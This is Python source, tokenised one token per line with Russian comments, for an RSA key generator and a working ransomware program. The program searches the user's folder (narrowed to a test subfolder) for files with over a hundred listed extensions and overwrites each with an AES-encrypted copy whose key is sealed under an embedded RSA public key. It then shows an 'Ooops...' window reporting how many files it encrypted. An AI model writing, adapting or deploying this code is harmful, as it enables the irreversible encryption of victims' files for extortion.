from
Cryptodome
.
PublicKey
import
RSA
def
generate
(
)
:
new_key
=
RSA
.
generate
(
2048
)
private_key
=
new_key
.
exportKey
(
)
public_key
=
new_key
.
publickey
(
)
.
exportKey
(
)
with
open
(
'key.pri'
,
'wb'
)
as
f1
:
f1
.
write
(
private_key
)
with
open
(
'key.pub'
,
'wb'
)
as
f2
:
f2
.
write
(
public_key
)

from
Cryptodome
.
Cipher
import
AES
,
PKCS1_OAEP
from
Cryptodome
.
PublicKey
import
RSA
from
Cryptodome
.
Random
import
get_random_bytes
import
base64
import
zlib
import
string
import
os
import
tkinter
from
time
import
time

ENCRYPTABLE_FILETYPES
=
[
# GENERAL FORMATS
"dat"
,
"keychain"
,
"sdf"
,
"vcf"
,
# IMAGE FORMATS
"jpg"
,
"png"
,
"tiff"
,
"tif"
,
"gif"
,
"jpeg"
,
"jif"
,
"jfif"
,
"jp2"
,
"jpx"
,
"j2k"
,
"j2c"
,
"fpx"
,
"pcd"
,
"bmp"
,
"svg"
,
"3dm"
,
"3ds"
,
"max"
,
"obj"
,
"dds"
,
"psd"
,
"tga"
,
"thm"
,
"tif"
,
"tiff"
,
"yuv"
,
"ai"
,
"eps"
,
"ps"
,
"svg"
,
"indd"
,
"pct"
,
# VIDEO FORMATS
"mp4"
,
"avi"
,
"mkv"
,
"3g2"
,
"3gp"
,
"asf"
,
"flv"
,
"m4v"
,
"mov"
,
"mpg"
,
"rm"
,
"srt"
,
"swf"
,
"vob"
,
"wmv"
,
# DOCUMENT FORMATS
"doc"
,
"docx"
,
"txt"
,
"pdf"
,
"log"
,
"msg"
,
"odt"
,
"pages"
,
"rtf"
,
"tex"
,
"wpd"
,
"wps"
,
"csv"
,
"ged"
,
"key"
,
"pps"
,
"ppt"
,
"pptx"
,
"xml"
,
"json"
,
"xlsx"
,
"xlsm"
,
"xlsb"
,
"xls"
,
"mht"
,
"mhtml"
,
"htm"
,
"html"
,
"xltx"
,
"prn"
,
"dif"
,
"slk"
,
"xlam"
,
"xla"
,
"ods"
,
"docm"
,
"dotx"
,
"dotm"
,
"xps"
,
"ics"
,
# SOUND FORMATS
"mp3"
,
"aif"
,
"iff"
,
"m3u"
,
"m4a"
,
"mid"
,
"mpa"
,
"wav"
,
"wma"
,
# EXE AND PROGRAM FORMATS
"msi"
,
"php"
,
"apk"
,
"app"
,
"bat"
,
"cgi"
,
"com"
,
"asp"
,
"aspx"
,
"cer"
,
"cfm"
,
"css"
,
"htm"
,
"html"
,
"js"
,
"jsp"
,
"rss"
,
"xhtml"
,
"c"
,
"class"
,
"cpp"
,
"cs"
,
"h"
,
"java"
,
"lua"
,
"pl"
,
"py"
,
"sh"
,
"sln"
,
"swift"
,
"vb"
,
"vcxproj"
,
# GAME FILES
"dem"
,
"gam"
,
"nes"
,
"rom"
,
"sav"
,
# COMPRESSION FORMATS
"tgz"
,
"zip"
,
"rar"
,
"tar"
,
"7z"
,
"cbr"
,
"deb"
,
"gz"
,
"pkg"
,
"rpm"
,
"zipx"
,
"iso"
,
# MISC
"ged"
,
"accdb"
,
"db"
,
"dbf"
,
"mdb"
,
"sql"
,
"fnt"
,
"fon"
,
"otf"
,
"ttf"
,
"cfg"
,
"prf"
,
"bak"
,
"old"
,
"tmp"
,
"torrent"
]
public_key
=
"""-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAsSAW8KpU0xNpb1dKwMlL
//c09gbAnpN+JvecLTqH9cDjsN1uiqq+WBPpA3qq7o6dBPWGtlUsTW+llt8XQDv2
cV5R0SHnq1WiOxz5Jm1T1T0xvYobF/tuluXWmzk8c77Jff8csycipbXnkEvjSfFs
KkSVxBwcz46oBXLGeCOSjYv39BjBmJF67bkJkmXFlOL9lKgD6fU2pXlluoxlxNM/
0q14J3UZf/avbJ9CLfZ1BCmBAocRlCVJ01NQLf+2s4CqXjkiDnqJ1TMJ6n0KoJIB
MMHSLxBqPmSarmm2ylcqv5UQs4SGU/rDyQT/JSPmqnA2lJ/kxj5oKqccwarwme2C
kQIDAQAB
-----END PUBLIC KEY-----"""
class
ClsCrypt
:
@staticmethod
def
get_rsa_cipher
(
key
)
:
# Получение rsa ключа
rsakey
=
RSA
.
importKey
(
key
)
return
PKCS1_OAEP
.
new
(
rsakey
)
,
rsakey
.
size_in_bytes
(
)
def
crypt_file
(
self
,
plaintext
)
:
# Шифрование файла
compressed_text
=
zlib
.
compress
(
plaintext
)
session_key
=
get_random_bytes
(
16
)
cipher_aes
=
AES
.
new
(
session_key
,
AES
.
MODE_EAX
)
ciphertext
,
tag
=
cipher_aes
.
encrypt_and_digest
(
compressed_text
)
cipher_rsa
,
_
=
self
.
get_rsa_cipher
(
public_key
)
encrypted_session_key
=
cipher_rsa
.
encrypt
(
session_key
)
msg_payload
=
encrypted_session_key
+
cipher_aes
.
nonce
+
tag
+
ciphertext
        encrypted
=
base64
.
encodebytes
(
msg_payload
)
return
encrypted
def
exfiltrate
(
self
,
document_path
)
:
# Перезапись файла
with
open
(
document_path
,
'rb'
)
as
f0
:
contents
=
f0
.
read
(
)
with
open
(
document_path
,
'wb'
)
as
f1
:
f1
.
write
(
self
.
crypt_file
(
contents
)
)
@staticmethod
def
check_system_disk
(
)
:
# Поиск системной папки пользователя
# для наглядности в конце добавляем расположение папки для теста программы
for
c
in
string
.
ascii_uppercase
:
system_disk
=
f"{c}:\\Users\\{os.getlogin()}"
if
os
.
path
.
isdir
(
system_disk
)
:
return
system_disk
+
"\\Desktop\\test"
@staticmethod
def
check_files
(
dir_crypt
)
:
# Рекурсивный поиск файлов в указанном каталоге с учетом
# расширений ENCRYPTABLE_FILETYPES
result
=
[
]
try
:
for
dirpath
,
dirnames
,
filenames
in
os
.
walk
(
dir_crypt
)
:
for
i
in
filenames
:
fi
,
ext
=
os
.
path
.
splitext
(
i
)
ext
=
ext
[
1
:
]
if
ext
in
ENCRYPTABLE_FILETYPES
:
result
.
append
(
f"{os.path.join(dirpath, i)}"
)
except
OSError
:
pass
return
result
@staticmethod
def
window
(
time
,
count
)
:
# Всплывающее окно с информацией о выполнении программы
window
=
tkinter
.
Tk
(
)
window
.
overrideredirect
(
True
)
window
.
attributes
(
"-topmost"
,
True
)
window
.
geometry
(
f"900x430"
)
window
.
config
(
bg
=
"gray10"
,
relief
=
"flat"
)
window
.
title
(
"Ooops..."
)
label_1
=
tkinter
.
Label
(
window
,
text
=
"err0rtic :)"
,
font
=
(
"Arial"
,
20
)
,
fg
=
"red"
)
label_1
.
place
(
x
=
450
,
y
=
48
,
anchor
=
"center"
)
label_2
=
tkinter
.
Label
(
window
,
text
=
f'File encryption was successful\nTime encryption:{time}\n'
+
f'Count file encryption:{count}\n'
,
font
=
(
"Arial"
,
20
)
,
fg
=
"red"
,
bg
=
"gray10"
)
label_2
.
place
(
x
=
450
,
y
=
130
,
anchor
=
"center"
)
try
:
window
.
mainloop
(
)
except
:
pass
def
run
(
self
)
:
# Запуск шифрования
sys_disk
=
self
.
check_system_disk
(
)
list_file
=
self
.
check_files
(
sys_disk
)
start_time
=
time
(
)
for
i
in
list_file
:
self
.
exfiltrate
(
i
)
time_result
=
time
(
)
-
start_time
return
time_result
,
len
(
list_file
)
if
__name__
==
'__main__'
:
Crypt
=
ClsCrypt
(
)
time
,
count
=
Crypt
.
run
(
)
Crypt
.
window
(
time
,
count
)